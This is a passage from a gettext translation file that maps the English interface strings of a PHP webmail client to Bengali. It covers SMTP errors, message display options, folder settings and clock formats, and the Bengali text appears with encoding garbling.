msgstr "āωāĻ¤ā§āϤāϰ⧇ āϝāĻž āĻĒāĻžāĻ“ā§ŸāĻž āϗ⧇āϛ⧇:"

msgid "Message:"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻž:"

msgid "FETCH line:"
msgstr "āφāύāĻžāϰ (FETCH) āφāĻĻ⧇āĻļāĻŦāĻžāĻ•ā§āϝ:"

msgid "Hide Unsafe Images"
msgstr "āϏāĻ¨ā§āĻĻ⧇āĻšāϜāύāĻ• āĻ›āĻŦāĻŋ āϝ⧇āύ āĻĻ⧇āĻ–āĻžāύ⧋ āύāĻž āĻšā§Ÿ"

msgid "Download"
msgstr "āĻĄāĻžāωāύāϞ⧋āĻĄ"

msgid "sec_remove_eng.png"
msgstr "sec_remove_bn_BD.png"

msgid "This external link will open in a new window"
msgstr "āĻāχ āĻŦāĻžāĻšā§āϝāĻŋāĻ• āϞāĻŋāĻ‚āĻ•āϟāĻŋ āύāϤ⧁āύ āωāχāĻ¨ā§āĻĄā§‹āϤ⧇ āϖ⧁āϞāĻŦ⧇"

#, php-format
msgid "Option Type '%s' Not Found"
msgstr "'%s' āύāĻžāĻŽā§‡ āϕ⧋āύ āĻĒāĻ›āĻ¨ā§āĻĻ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§Ÿ āύāĻŋ"

msgid "Delete Selected"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤāϕ⧇ āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ"

#, php-format
msgid "Edit List Layout Type '%s' Not Found"
msgstr "āϏāĻŽā§āĻĒāĻžāĻĻāĻŋāϤ āĻ›āĻžāĻĒāĻžāϰ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ āϤāĻžāϞāĻŋāĻ•āĻž āϧāϰāύ '%s' āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§ŸāύāĻŋ"

msgid "Current Folder"
msgstr "āĻŦāĻ°ā§āϤāĻŽāĻžāύ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ"

msgid "Compose"
msgstr "āύāϤ⧁āύ āĻŦāĻžāĻ°ā§āϤāĻž āϞ⧇āĻ–āĻž"

#, php-format
msgid "Error creating directory %s."
msgstr "āϤāĻĨā§āϝāϚāĻ•ā§āϰ⧇ %s āύāĻžāĻŽā§‡ āĻĢāĻžāχāϞ āϰāĻžāĻ–āĻžāϰ āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻŋāĻ•āĻž āϤ⧈āϰ⧀ āĻ•āϰāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤"

msgid "Could not create hashed directory structure!"
msgstr "āĻļāĻžāĻ–āĻžāĻŖā§āĻŦāĻŋāϤ āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻŋāĻ•āĻž āϏāĻ‚āĻ¸ā§āĻĨāĻžāύ āϤ⧈āϰ⧀ āĻ•āϰāĻž āϝāĻžā§ŸāύāĻŋ!"

msgid "Email delivery error"
msgstr "āχāĻŽā§‡āχāϞ āĻĒāĻžāĻ āĻžāύ⧋āϤ⧇ āĻ¤ā§āϰ⧁āϟāĻŋ"

#, php-format
msgid "Can't execute command '%s'."
msgstr "āĻ•āĻŽāĻžāĻ¨ā§āĻĄ '%s' āϕ⧇ āϏāĻŽā§āĻĒāĻžāĻĻāύ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāĻŋāĨ¤"

msgid "Can't open SMTP stream."
msgstr "SMTP āĻĒā§āϰāĻŦāĻžāĻš āϖ⧁āϞāϤ⧇ āĻĒāĻžāϰ⧇āύāĻŋāĨ¤"

msgid "Service not available, closing channel"
msgstr "āϏāĻ‚āϝ⧋āĻ— āύ⧇āχ, āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻŦāĻ¨ā§āϧ āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇ āĻšāĻšā§āϛ⧇"

msgid "A password transition is needed"
msgstr "āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻ•ā§āϰāĻžāĻ¨ā§āϤāĻŋāĻ•āĻžāϞ āĻĒā§āĻ°ā§Ÿā§‹āϜāĻ¨ā§€ā§Ÿ"

msgid "Requested mail action not taken: mailbox unavailable"
msgstr "āĻ…āύ⧁āϰ⧋āϧāĻ•ā§ƒāϤ āĻŦāĻžāĻ°ā§āϤāĻž āĻ•ā§āϰāĻŋ⧟āĻžāϟāĻŋ āύ⧇āĻ“āϝāĻž āĻšāϝāύāĻŋ: āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏāϟāĻž āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤"

msgid "Requested action aborted: error in processing"
msgstr "āĻ…āύ⧁āϰ⧋āϧāĻ•ā§ƒāϤ āĻ•ā§āϰāĻŋ⧟āĻžāϟāĻŋ āĻŽāĻžāĻāĻĒāĻĨ⧇ āĻŦāĻžāϤāĻŋāϞ āĻ•āϰāϤ⧇ āĻšā§Ÿā§‡āϛ⧇: āĻŦāĻžāϤāĻŋāϞ āĻ•āϰāϤ⧇ āĻ—āĻŋā§Ÿā§‡ āϏāĻŽāĻ¸ā§āϝāĻž āĻšāĻšā§āϛ⧇"

msgid "Requested action not taken: insufficient system storage"
msgstr "āĻ…āύ⧁āϰ⧋āϧāĻ•ā§ƒāϤ āĻ•ā§āϰāĻŋ⧟āĻžāϟāĻŋ āĻŽāĻžāĻāĻĒāĻĨ⧇ āĻŦāĻžāϤāĻŋāϞ āĻ•āϰāϤ⧇ āĻšā§Ÿā§‡āϛ⧇: āϤāĻĨā§āϝāϚāĻ•ā§āϰ⧇ āφāϰ āϜāĻžā§ŸāĻ—āĻž āĻ–āĻžāϞāĻŋ āύāĻžāχ"

msgid "Temporary authentication failure"
msgstr "āϏāĻžāĻŽāϝāĻŧāĻŋāĻ•āĻ­āĻžāĻŦ⧇ āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāϪ⧇ āĻ—ā§‹āϞāϝ⧋āĻ— āĻšāĻšā§āϛ⧇"

msgid "Syntax error; command not recognized"
msgstr "āĻŦā§āϝāĻžāĻ•āϰāϪ⧇ āϭ⧁āϞ: āφāĻĻ⧇āĻļāϟāĻŋ ā§āύāĻžāĻ•ā§āϤ āĻ•āϰāĻž āϝāĻžā§Ÿ āύāĻŋ"

msgid "Syntax error in parameters or arguments"
msgstr "āύāĻŋ⧟āĻŽā§‡ āĻ…āĻĨāĻŦāĻž āύāĻŋ⧟āĻŽā§‡āϰ āϕ⧋āύ āĻ…āĻ‚āĻļ⧇ āĻŦā§āϝāĻžāĻ•āϰāĻŖāĻ—āϤ āϭ⧁āϞ āφāϛ⧇"

msgid "Command not implemented"
msgstr "āφāĻĻ⧇āĻļāϟāĻŋ āĻĒā§āĻ°ā§Ÿā§‹āĻ— āĻ•āϰāĻž āĻšā§ŸāύāĻŋ"

msgid "Bad sequence of commands"
msgstr "āφāĻĻ⧇āĻļ⧇āϰ āĻ•ā§āϰāĻŽāϟāĻŋāϰ āϕ⧋āύ āĻ…āĻ°ā§āĻĨ āĻ•āϰāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻž"

msgid "Command parameter not implemented"
msgstr "āĻāχ āφāĻĻ⧇āĻļāϟāĻŋāϰ āĻŽāϤ⧋ āĻ•āĻžāϜ āĻ•āϰāĻžāϰ āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ• āĻāĻ–āύ⧋ āϞ⧇āĻ–āĻž āĻšā§Ÿ āύāĻŋ"

msgid "Authentication required"
msgstr "āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāĻŖ āĻ•āϰāϤ⧇ āĻšāĻŦ⧇"

msgid "Authentication mechanism is too weak"
msgstr "āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāϪ⧇āϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϟāĻž āϝāĻĨ⧇āĻˇā§āϟ āĻĻā§‚āĻ°ā§āĻŦāϞ"

msgid "Authentication failed"
msgstr "āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāĻŖ āĻ•āϰāĻž āϝāĻžā§ŸāύāĻŋ"

msgid "Encryption required for requested authentication mechanism"
msgstr "āĻāĻ­āĻžāĻŦ⧇ āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāϪ⧇āϰ āϜāĻ¨ā§āϝ āĻāύāĻ•ā§āϰāĻŋāĻĒāĻļāύ āĻĒā§āĻ°ā§Ÿā§‹āϜāύ"

msgid "Requested action not taken: mailbox unavailable"
msgstr "āĻ…āύ⧁āϰ⧋āϧāĻ•ā§ƒāϤ āĻ•āĻ°ā§āĻŽāϟāĻŋ āĻ•āϰāĻž āϝāĻžā§Ÿ āύāĻŋ: āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏāϟāĻž āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻž"

msgid "User not local; please try forwarding"
msgstr "āĻāχ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀ āĻ¸ā§āĻĨāĻžāĻ¨ā§€ā§Ÿ āύāύ, āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āϏāĻžāĻŽāύ⧇ āĻĒāĻžāĻ āĻžāύ⧋āϰ āĻšā§‡āĻˇā§āϟāĻž āĻ•āϰ⧁āύ"

msgid "Requested mail action aborted: exceeding storage allocation"
msgstr ""
"āĻ…āύ⧁āϰ⧋āϧāĻ•ā§ƒāϤ āĻŦāĻžāĻ°ā§āϤāĻž āĻ•āĻ°ā§āĻŽāϟāĻŋ āĻŽāĻžāĻ āĻĒāĻĨ⧇ āĻŦāĻžāϤāĻŋāϞ āĻ•āϰāϤ⧇ āĻšāϞ: āϤāĻĨā§āϝāϚāĻ•ā§āϰ⧇ āϝāĻž āϜāĻžā§ŸāĻ—āĻž āĻĻ⧇āĻ“ā§ŸāĻž āĻšā§Ÿā§‡āϛ⧇, āϤāĻžāϰ "
"āĻšā§‡ā§Ÿā§‡ āĻŦ⧇āĻļā§€ āϜāĻžā§ŸāĻ—āĻž āϞāĻžāĻ—āϛ⧇"

msgid "Requested action not taken: mailbox name not allowed"
msgstr "āĻ…āύ⧁āϰ⧋āϧāĻ•ā§ƒāϤ āĻ•āĻ°ā§āĻŽāϟāĻŋ āĻ•āϰāĻž āϗ⧇āϞ āύāĻž: āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏ⧇āϰ āϜāĻ¨ā§āϝ āĻāχ āύāĻžāĻŽ āĻĻ⧇āĻ“ā§ŸāĻž āϝāĻžā§Ÿ āύāĻž"

msgid "Transaction failed"
msgstr "āϞ⧇āύāĻĻ⧇āύ āĻ•āϰāĻž āϝāĻžā§Ÿ āύāĻŋ"

msgid "Unknown response"
msgstr "āωāĻ¤ā§āϤāϰ⧇ āϝāĻž āĻĒāĻžāĻ“ā§ŸāĻž āϗ⧇āϞ āϤāĻžāϰ āϕ⧋āύ āĻŽāĻžāύ⧇ āύ⧇āχ"

msgid "General Display Options"
msgstr "āϏāĻžāϧāĻžāϰāĻŖ āĻĒā§āϰāĻĻāĻ°ā§āĻļāύ āĻĒāĻ›āĻ¨ā§āĻĻāϗ⧁āϞ⧋"

msgid "Theme"
msgstr "āĻĨāĻŋāĻŽ"

msgid "Default"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ"

msgid "Custom Stylesheet"
msgstr "āύāĻŋāĻœā§‡āϰ āϤ⧈āϰ⧀ āϰ⧀āϤāĻŋ"

msgid "Language"
msgstr "āĻ­āĻžāώāĻž"

msgid "Use Javascript"
msgstr "āϜāĻžāĻ­āĻžāϞāĻŋāĻĒāĻŋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Autodetect"
msgstr "āφāĻĒāύāĻž-āφāĻĒāύāĻŋ āĻŦ⧁āĻā§‡ āύ⧇āĻ“ā§ŸāĻž"

msgid "Always"
msgstr "āϏāĻŦāϏāĻŽā§Ÿ"

msgid "Never"
msgstr "āĻ•āĻ–āύ⧋āχ āύāĻž"

msgid "Mailbox Display Options"
msgstr "āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏ āϝ⧇āĻ­āĻžāĻŦ⧇ āĻĻ⧇āĻ–āĻžāύ⧋āϰ āĻ…āĻĒāĻļāύ"

msgid "Number of Messages per Page"
msgstr "āĻĒā§āϰāϤāĻŋ āĻĒ⧃āĻˇā§āĻ āĻžā§Ÿ āĻŦāĻžāĻ°ā§āϤāĻžāϰ āϏāĻ‚āĻ–ā§āϝāĻž"

msgid "Enable Alternating Row Colors"
msgstr "āϤāĻžāϞāĻŋāĻ•āĻžāϤ⧇ āĻĄā§‹āϰāĻž āϕ⧇āĻŸā§‡ āĻĻ⧇āĻ–āĻžāύ⧋ āĻšāĻŦ⧇"

msgid "Enable Page Selector"
msgstr "āϝ⧇ āϕ⧋āύ⧋ āĻĒāĻžāϤāĻžā§Ÿ āϝāĻžāĻŦāĻžāϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ"

msgid "Maximum Number of Pages to Show"
msgstr "āϏāĻ°ā§āĻŦāĻžāϧāĻŋāĻ• āϝāϤāϟāĻž āĻĒāĻžāϤāĻž āĻĻ⧇āĻ–āĻžāύ⧋ āĻšāĻŦ⧇"

msgid "Always Show Full Date"
msgstr "āϤāĻžāϰāĻŋāĻ– āĻĻ⧇āĻ–āĻžāύ⧋āϰ āϏāĻŽā§Ÿ āϏāĻŦāϏāĻŽā§Ÿ āϝ⧇āύ āĻĒ⧁āϰ⧋āϟāĻž āĻĻ⧇āĻ–āĻžāύ⧋ āĻšā§Ÿ"

msgid "Length of From/To Field (0 for full)"
msgstr "āĻšāϤ⧇/āĻĒā§āϰāϤāĻŋ āĻ•ā§āώ⧇āĻ¤ā§āϰ⧇āϰ āĻĻ⧈āĻ°ā§āĻ˜ā§āϝ (āĻĒā§‚āĻ°ā§āύāϰ āϜāĻ¨ā§āϝ ā§Ļ)"

msgid "Length of Subject Field (0 for full)"
msgstr "āĻŦāĻŋāώ⧟ āĻ•ā§āώ⧇āĻ¤ā§āϰ⧇āϰ āĻĻ⧈āĻ°ā§āĻ˜ā§āϝ (āĻĒā§‚āĻ°ā§āύāϰ āϜāĻ¨ā§āϝ ā§Ļ)"

msgid "Message Display and Composition"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻž āĻĒā§āϰāĻĻāĻ°ā§āĻļāύ āĻāĻŦāĻ‚ āϰāϚāύāĻž"

msgid "Wrap Incoming Text At"
msgstr "āϞ⧇āĻ–āĻž āĻāχ āϏāĻ‚āĻ–ā§āϝāĻ• āĻ…āĻ•ā§āώāϰ⧇āϰ āĻĒāϰ āϭ⧇āϙ⧇ āĻĒāϰ⧇āϰ āϞāĻžāχāύ⧇ āϝāĻžāύ"

msgid "Width of Editor Window"
msgstr "āϏāĻŽā§āĻĒāĻžāĻĻāĻ• āωāχāĻ¨ā§āĻĄā§‹āϰ āĻĒā§āϰāĻ¸ā§āĻĨ"

msgid "Height of Editor Window"
msgstr "āϏāĻŽā§āĻĒāĻžāĻĻāĻ• āωāχāĻ¨ā§āĻĄā§‹āϰ āωāĻšā§āϚāϤāĻž"

msgid "Location of Buttons when Composing"
msgstr "āϞ⧇āĻ–āĻžāϰ āϏāĻŽā§Ÿ āϏ⧁āχāϚ āϗ⧁āϞ⧋ āϝ⧇āĻ–āĻžāύ⧇ āĻĨāĻžāĻ•āĻŦ⧇"

msgid "Before headers"
msgstr "āĻ–āĻžāĻŽā§‡āϰ āϞ⧇āĻ–āĻžāϰ āφāϗ⧇"

msgid "Between headers and message body"
msgstr "āĻ–āĻžāĻŽā§‡āϰ āϞ⧇āĻ–āĻž āĻāĻŦāĻ‚ āϚāĻŋāĻ āĻŋāϰ āϞ⧇āĻ–āĻžāϰ āĻŽāĻžāĻāĻ–āĻžāύ⧇"

msgid "After message body"
msgstr "āϚāĻŋāĻ āĻŋāϰ āϞ⧇āĻ–āĻžāϰ āĻĒāϰ"

msgid "Address Book Display Format"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āĻĒā§āϰāĻĻāĻ°ā§āĻļāύ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ"

msgid "Javascript"
msgstr "āϜāĻžāĻ­āĻžāϞāĻŋāĻĒāĻŋ"

msgid "HTML"
msgstr "HTML(āĻāχāϚāϟāĻŋāĻāĻŽāĻāϞ)"

msgid "Format of Addresses Added From Address Book"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āĻšāϤ⧇ āĻ āĻŋāĻ•āĻžāύāĻžāϗ⧁āϞ⧋āϰ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ āϝ⧋āĻ— āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇"

msgid "No prefix/Address only"
msgstr "āϕ⧋āύ āĻĒā§‚āĻ°ā§āĻŦāĻļāĻŦā§āĻĻ āύ⧟/āĻ āĻŋāĻ•āĻžāύāĻž āĻļ⧁āϧ⧁"

msgid "Nickname and address"
msgstr "āĻ›āĻĻā§āĻŽāύāĻžāĻŽ āĻāĻŦāĻ‚ āĻ āĻŋāĻ•āĻžāύāĻž"

msgid "Full name and address"
msgstr "āĻĒā§‚āĻ°ā§āύ āύāĻžāĻŽ āĻāĻŦāĻ‚ āĻ āĻŋāĻ•āĻžāύāĻž"

msgid "Show HTML Version by Default"
msgstr "āĻĒā§‚āύāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ­āĻžāĻŦ⧇ HTML āϏāĻ‚āĻ•āϞāύ āĻĻ⧇āĻ–āĻžāύ⧋"

msgid "Enable Forward as Attachment"
msgstr "āϚāĻŋāĻ āĻŋāϕ⧇ āĻĢāĻžāχāϞ āĻšāĻŋāϏāĻžāĻŦ⧇ āϝ⧁āĻ•ā§āϤ āĻ•āϰ⧇ āĻĒāĻžāĻ āĻžāύ⧋ āϝāĻžāĻŦ⧇"

msgid "Include Me in CC when I Reply All"
msgstr ""
"āϝāĻ–āύ āφāĻŽāĻŋ āϏāĻ‚āĻļā§āϞāĻŋāĻˇā§āϟ āϏāĻŦāĻžāϰ āĻ•āĻžāϛ⧇ āϜāĻŦāĻžāĻŦ āĻĒāĻžāĻ āĻžāύ⧋, āϤāĻ–āύ āφāĻŽāĻžāϕ⧇ āĻ…āĻŦāĻŋāĻ•āϞ āĻ…āύ⧁āϞāĻŋāĻĒāĻŋāϤ⧇ āĻ…āĻ¨ā§āϤāĻ°ā§āĻ­ā§‚āĻ•ā§āϤ āĻ•āϰ⧁āύ "

msgid "Enable Mailer Display"
msgstr "āĻĒāĻ¤ā§āϰāĻŦāĻžāĻšā§€āϰ āϞ⧇āύāĻĻ⧇āύ āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤ āϤāĻĨā§āϝ āĻĻ⧇āĻ–āĻžāύ⧋ āĻšā§‹āĻ•"

msgid "Display Attached Images with Message"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϰ āϏāĻžāĻĨ⧇ āϏāĻ‚āϝ⧁āĻ•ā§āϤ āϚāĻŋāĻ¤ā§āϰāϏāĻŽā§‚āĻš āĻĻ⧇āĻ–āĻžāύ"

msgid "Enable Printer Friendly Clean Display"
msgstr "āĻŽā§āĻĻā§āϰāύ⧇āϰ āϜāĻ¨ā§āϝ āϏ⧁āĻŦāĻŋāϧāĻžāϜāύāĻ• āĻĒāĻžāϤāĻž āϤ⧈āϰ⧀āϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ"

msgid "Enable Mail Delivery Notification"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻž āĻŦāĻŋāϤāϰāĻŖ āĻĒā§āϰāĻœā§āĻžāĻžāĻĒāύ āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ"

msgid "Compose Messages in New Window"
msgstr "āύāϤ⧁āύ āωāχāĻ¨ā§āĻĄā§‹āϤ⧇ āĻŦāĻžāĻ°ā§āϤāĻž āϞāĻŋāϖ⧁āύ"

msgid "Width of Compose Window"
msgstr "āϚāĻŋāĻ āĻŋ āϞ⧇āĻ–āĻžāϰ āωāχāĻ¨ā§āĻĄā§‹āϰ āĻĒā§āϰāĻ¸ā§āĻĨ"

msgid "Height of Compose Window"
msgstr "āϚāĻŋāĻ āĻŋ āϞ⧇āĻ–āĻžāϰ āωāχāĻ¨ā§āĻĄā§‹āϰ āωāĻšā§āϚāϤāĻž"

msgid "Prepend Signature before Reply/Forward Text"
msgstr "āωāĻ¤ā§āϤāϰ⧇āϰ/āϏāĻžāĻŽāύ⧇āϰ āĻĒāĻžāĻ ā§āϝ⧇āϰ āφāϗ⧇ āĻ¸ā§āĻŦāĻžāĻ•ā§āώāϰ āĻĨāĻžāĻ•āĻŦ⧇ "

msgid "Prefix for Original Message when Replying"
msgstr "āωāĻ¤ā§āϤāϰ⧇āϰ āϏāĻŽā§Ÿ āφāϏāϞ āĻŦāĻžāĻ°ā§āϤāĻžāϰ āϜāĻ¨ā§āϝ āĻĒā§‚āĻ°ā§āĻŦāĻļāĻŦā§āĻĻ"

msgid "Cursor Position when Replying"
msgstr "āωāĻ¤ā§āϤāϰ āĻĻ⧇āĻ“ā§ŸāĻžāϰ āϏāĻŽā§Ÿ āϞ⧇āĻ–āĻž āϝ⧇āĻ–āĻžāύ āĻĨ⧇āϕ⧇ āĻļ⧁āϰ⧁ āĻ•āϰāĻž āĻšāĻŦ⧇"

msgid "To: field"
msgstr "āĻĒā§āϰāϤāĻŋ: āĻ•ā§āώ⧇āĻ¤ā§āϰ"

msgid "Focus in body"
msgstr "āĻŽā§‚āϞ āĻ…āĻ‚āĻļ⧇ āφāϞ⧋āĻ•āĻĒāĻžāϤ āĻ•āϰāĻž"

msgid "Select body"
msgstr "āĻŽā§‚āϞ āĻ…āĻ‚āĻļ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰ⧁āύ"

msgid "No focus"
msgstr "āĻĢā§‹āĻ•āĻžāϏ āĻ•āϰāĻž āύ⧇āχ"

msgid "Sort by Received Date"
msgstr "āĻĒā§āϰāĻžāĻĒā§āϤ āϤāĻžāϰāĻŋāĻ– āĻ…āύ⧁āϝāĻžā§Ÿā§€ āϏāĻžāϜāĻžāύ⧋"

msgid "Enable Thread Sort by References Header"
msgstr "āĻĒā§āϰāϏāĻ™ā§āĻ—āϤāĻŋ āĻļāĻŋāϰāĻ• āĻĻā§āĻŦāĻžāϰāĻž āĻĨā§āϰ⧇āĻĄ āϏāĻ°ā§āϟ āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ "

msgid "Special Folder Options"
msgstr "āĻŦāĻŋāĻļ⧇āώ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻĒāĻ›āĻ¨ā§āĻĻāϏāĻŽā§‚āĻš"

msgid "Folder Path"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ⧇āϰ āĻĒāĻĨ"

msgid "Do not use Trash"
msgstr "āĻŸā§āĻ°ā§āϝāĻžāĻļ āĻŦāĻŦā§āϝāĻšāĻžāϰ āĻ•āϰāĻŦ⧇āύ āύāĻž"

msgid "Trash Folder"
msgstr "āĻŸā§āĻ°ā§āϝāĻžāĻļ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ"

msgid "Do not use Drafts"
msgstr "āĻ–āϏāĻĄāĻŧāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻŦ⧇āύ āύāĻž"

msgid "Draft Folder"
msgstr "āĻ–āϏāĻĄāĻŧāĻž āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ"

msgid "Do not use Sent"
msgstr "āĻĒā§āϰ⧇āϰāĻŋāϤ āϚāĻŋāĻ āĻŋāϰ āĻĒā§āϰāϤāĻŋāϞāĻŋāĻĒāĻŋ āϰāĻžāĻ–āĻžāϰ āĻŦāĻžāĻ•ā§āϏ āĻŦā§āϝāĻžāĻŦāĻšāĻžāϰ āĻšāĻŦ⧇ āύāĻž"

msgid "Sent Folder"
msgstr "āĻĒā§āϰ⧇āϰāĻŋāϤ āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏ"

msgid "Folder List Options"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻž āĻĒāĻ›āĻ¨ā§āĻĻāϏāĻŽā§‚āĻš"

msgid "Location of Folder List"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāϰ āĻ…āĻŦāĻ¸ā§āĻĨāĻžāύ"

msgid "Left"
msgstr "āĻŦāĻžāĻŽā§‡"

msgid "Right"
msgstr "āĻĄāĻžāύ⧇"

msgid "pixels"
msgstr "āϚāĻŋāĻ¤ā§āϰāĻŦāĻŋāĻ¨ā§āĻĻ⧁"

msgid "Width of Folder List"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāϰ āĻĒā§āϰāĻ¸ā§āĻĨ"

msgid "Minutes"
msgstr "āĻŽāĻŋāύāĻŋāϟ"

msgid "Seconds"
msgstr "āϏ⧇āϕ⧇āĻ¨ā§āĻĄ"

msgid "Minute"
msgstr "āĻŽāĻŋāύāĻŋāϟ"

msgid "Auto Refresh Folder List"
msgstr "āĻ¸ā§āĻŦ⧟āĻ‚āĻ•ā§āϰāĻŋ⧟ āĻ­āĻžāĻŦ⧇ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻž āϏāϤ⧇āϜ āĻ•āϰ⧁āύ"

msgid "Enable Unread Message Notification"
msgstr "āĻ…āĻĒāĻ āĻŋāϤ āĻŦāĻžāĻ°ā§āϤāĻž āĻĒā§āϰāĻœā§āĻžāĻžāĻĒāύ āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ"

msgid "No Notification"
msgstr "āϕ⧋āύ⧋ āĻĒā§āϰāĻœā§āĻžāĻžāĻĒāύ āύ⧇āχ"

msgid "Only INBOX"
msgstr "āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āĻĄāĻžāĻ•āĻŦāĻžāĻ•ā§āϏ  "

msgid "Unread Message Notification Type"
msgstr "āĻ…āĻĒāĻ āĻŋāϤ āĻŦāĻžāĻ°ā§āϤāĻž āĻĒā§āϰāĻœā§āĻžāĻžāĻĒāύ āϧāϰāĻŖ"

msgid "Only Unseen"
msgstr "āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āĻ…āĻĻ⧇āĻ–āĻžāϗ⧁āϞ⧋"

msgid "Unseen and Total"
msgstr "āĻ…āĻĻ⧇āĻ–āĻž āĻāĻŦāĻ‚ āϏāĻ°ā§āĻŦāĻŽā§‹āϟ"

msgid "Enable Collapsable Folders"
msgstr "āĻ­āĻ™ā§āϗ⧁āϰ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϗ⧁āϞ⧋ āϏāĻ•ā§āώāĻŽ āĻ•āϰ⧁āύ"

msgid "Enable Cumulative Unread Message Notification"
msgstr "āĻ…āĻĒāĻ āĻŋāϤ āĻŦāĻžāĻ°ā§āϤāĻž āĻĒā§āϰāĻœā§āĻžāĻžāĻĒāύ āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ"

msgid "Show Clock on Folders Panel"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻĒā§āϝāĻžāύ⧇āϞ āĻ āϘ⧜āĻŋ āĻĻ⧇āĻ–āĻžāύ"

msgid "International date and time"
msgstr "āφāĻ¨ā§āϤāĻ°ā§āϜāĻžāϤāĻŋāĻ• āϤāĻžāϰāĻŋāĻ– āĻ“ āϏāĻŽā§Ÿ"

msgid "American date and time"
msgstr "āφāĻŽā§‡āϰāĻŋāĻ•āĻžāύ āϤāĻžāϰāĻŋāĻ– āĻ“ āϏāĻŽā§Ÿ"

msgid "European date and time"
msgstr "āχāωāϰ⧋āĻĒā§€ā§Ÿ āϤāĻžāϰāĻŋāĻ– āĻ“ āϏāĻŽā§Ÿ"

msgid "Show weekday and time"
msgstr "āϏāĻĒā§āϤāĻžāĻšāĻĻāĻŋāύ āĻāĻŦāĻ‚ āϏāĻŽā§Ÿ āĻĻ⧇āĻ–āĻžāύ"

msgid "Show time with seconds"
msgstr "āϏāĻŽā§Ÿā§‡āϰ āĻŽāĻ§ā§āϝ⧇ āϏ⧇āϕ⧇āĻ¨ā§āĻĄāĻ“ āĻĻ⧇āĻ–āĻžāύ"

msgid "Show time"
msgstr "āϏāĻŽā§Ÿ āĻĻ⧇āĻ–āĻžāύ"

msgid "No Clock"
msgstr "āϕ⧋āύ⧋ āϘāĻĄāĻŧāĻŋ āύ⧇āχ"

msgid "Hour Format"
msgstr "āϘāĻ¨ā§āϟāĻž āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ"

msgid "12-hour clock"
msgstr "⧧⧍ āϘāĻ¨ā§āϟāĻž āϘ⧜āĻŋ"

